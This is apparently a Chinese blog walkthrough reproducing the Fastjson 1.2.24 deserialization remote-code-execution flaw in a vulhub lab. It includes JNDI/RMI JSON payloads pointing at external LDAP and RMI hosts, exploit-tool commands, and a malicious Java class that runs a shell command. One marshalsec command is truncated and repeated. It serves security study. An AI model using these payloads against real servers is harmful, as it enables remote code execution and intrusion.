fastjson1.2.24 反序列化漏洞复现

fastjson简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
这里json与java对象之间的转换,便是使用的序列化和反序列化,fastjson的反序列化也就是来自这里。
详细介绍:https://www.runoob.com/w3cnote/fastjson-intro.html

漏洞环境

vulhub

仅是复现漏洞可以使用vulbub,直接使用docker启动漏洞环境即可。
环境安装参考以下链接
安装docker:https://blog.csdn.net/BThinker/article/details/123358697
vulhub下载:https://github.com/vulhub/vulhub
使用到的命令:

# 启动
docker-compose up -d
# 查看运行情况
docker ps
# 进入容器
docker exec -it [ID] bash
# 停止容器
docker stop [ID]

漏洞复现

使用JNDI注入测试工具:JNDI-Injection-Exploit-1.0-SNAPSHOT
下载地址:https://gitee.com/yijingsec/JNDI-Injection-Exploit
开启漏洞环境,访问
在这里插入图片描述
构造post请求,可以修改name参数的值
在这里插入图片描述
使用dnslog平台判断是否存在漏洞

{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://df5789e898.ipv6.1433.eu.org","autoCommit":true}}

在这里插入图片描述
使用JNDI-Injection-Exploit-1.0-SNAPSHOT构造payload利用漏洞
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.232.1
利用成功则会再tmp目录下生成一个success文件
在这里插入图片描述

{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.232.1:1099/u9plmp","autoCommit":true}}

进入docker查看,利用成功
在这里插入图片描述
也可使用反序列化利用工具 marshalsec,使用起来稍微麻烦一些,需要先构造一个一个恶意类

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用javac,编译为class文件,在class目录下使用python开启远程下载python http.server 8888
然后使用以下命令远程加载恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999

具体步骤:https://blog.csdn.net/aetlypdlg_ys/article/details/138752859
marshalsec使用方法参考:https://blog.csdn.net/whatday/article/details/107942941

漏洞详解

源码环境

可使用IDEA,maven添加依赖,源码可参考

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
</dependencies>

直接使用IDEA将vulhub中的jar包复制出来,导入到项目中,即可得到源码。
在这里插入图片描述
重新加载maven,然后运行
在这里插入图片描述

漏洞详解参考

  • 针对fastjson漏洞的代码讲解,基础易懂:https://github.com/Maskhe/javasec/blob/master/9.fastjson-1.2.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md

  • 针对Fastjson系列漏洞的讲解:https://xz.aliyun.com/t/13386,包括序列化与反序列化,漏洞成因,工具原理等,无比详细。

  • 21
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
根据提供的引用内容,fastjson反序列化漏洞是一种安全漏洞,攻击者可以利用该漏洞在目标系统上执行恶意代码。下面是fastjson反序列化漏洞复现过程[^1][^2]: 1. 判断是否使用Fastjson以及Fastjson版本:首先需要确定目标系统是否使用了Fastjson,并且确定Fastjson的版本号。可以通过查看项目的依赖文件或者代码中的导入语句来确定。 2. 漏洞复现:根据Fastjson的版本号选择相应的漏洞复现方法。 - Fastjson<1.2.24远程代码执行(CNVD-2017-02833):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中插入恶意的Java代码,并通过反序列化操作执行该代码。 - Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中使用特殊的反射调用方式来执行恶意代码。 3. 防范措施:为了防止fastjson反序列化漏洞的利用,可以采取以下措施: - 及时升级Fastjson版本:Fastjson团队会及时修复漏洞并发布新版本,及时升级到最新版本可以避免被已知漏洞攻击。 - 输入验证和过滤:在接收用户输入并进行反序列化操作之前,对输入进行严格的验证和过滤,确保输入的数据符合预期的格式和内容。 - 使用安全的JSON库:考虑使用其他安全性更高的JSON库,如Jackson或Gson,来替代Fastjson
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RICKC131

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值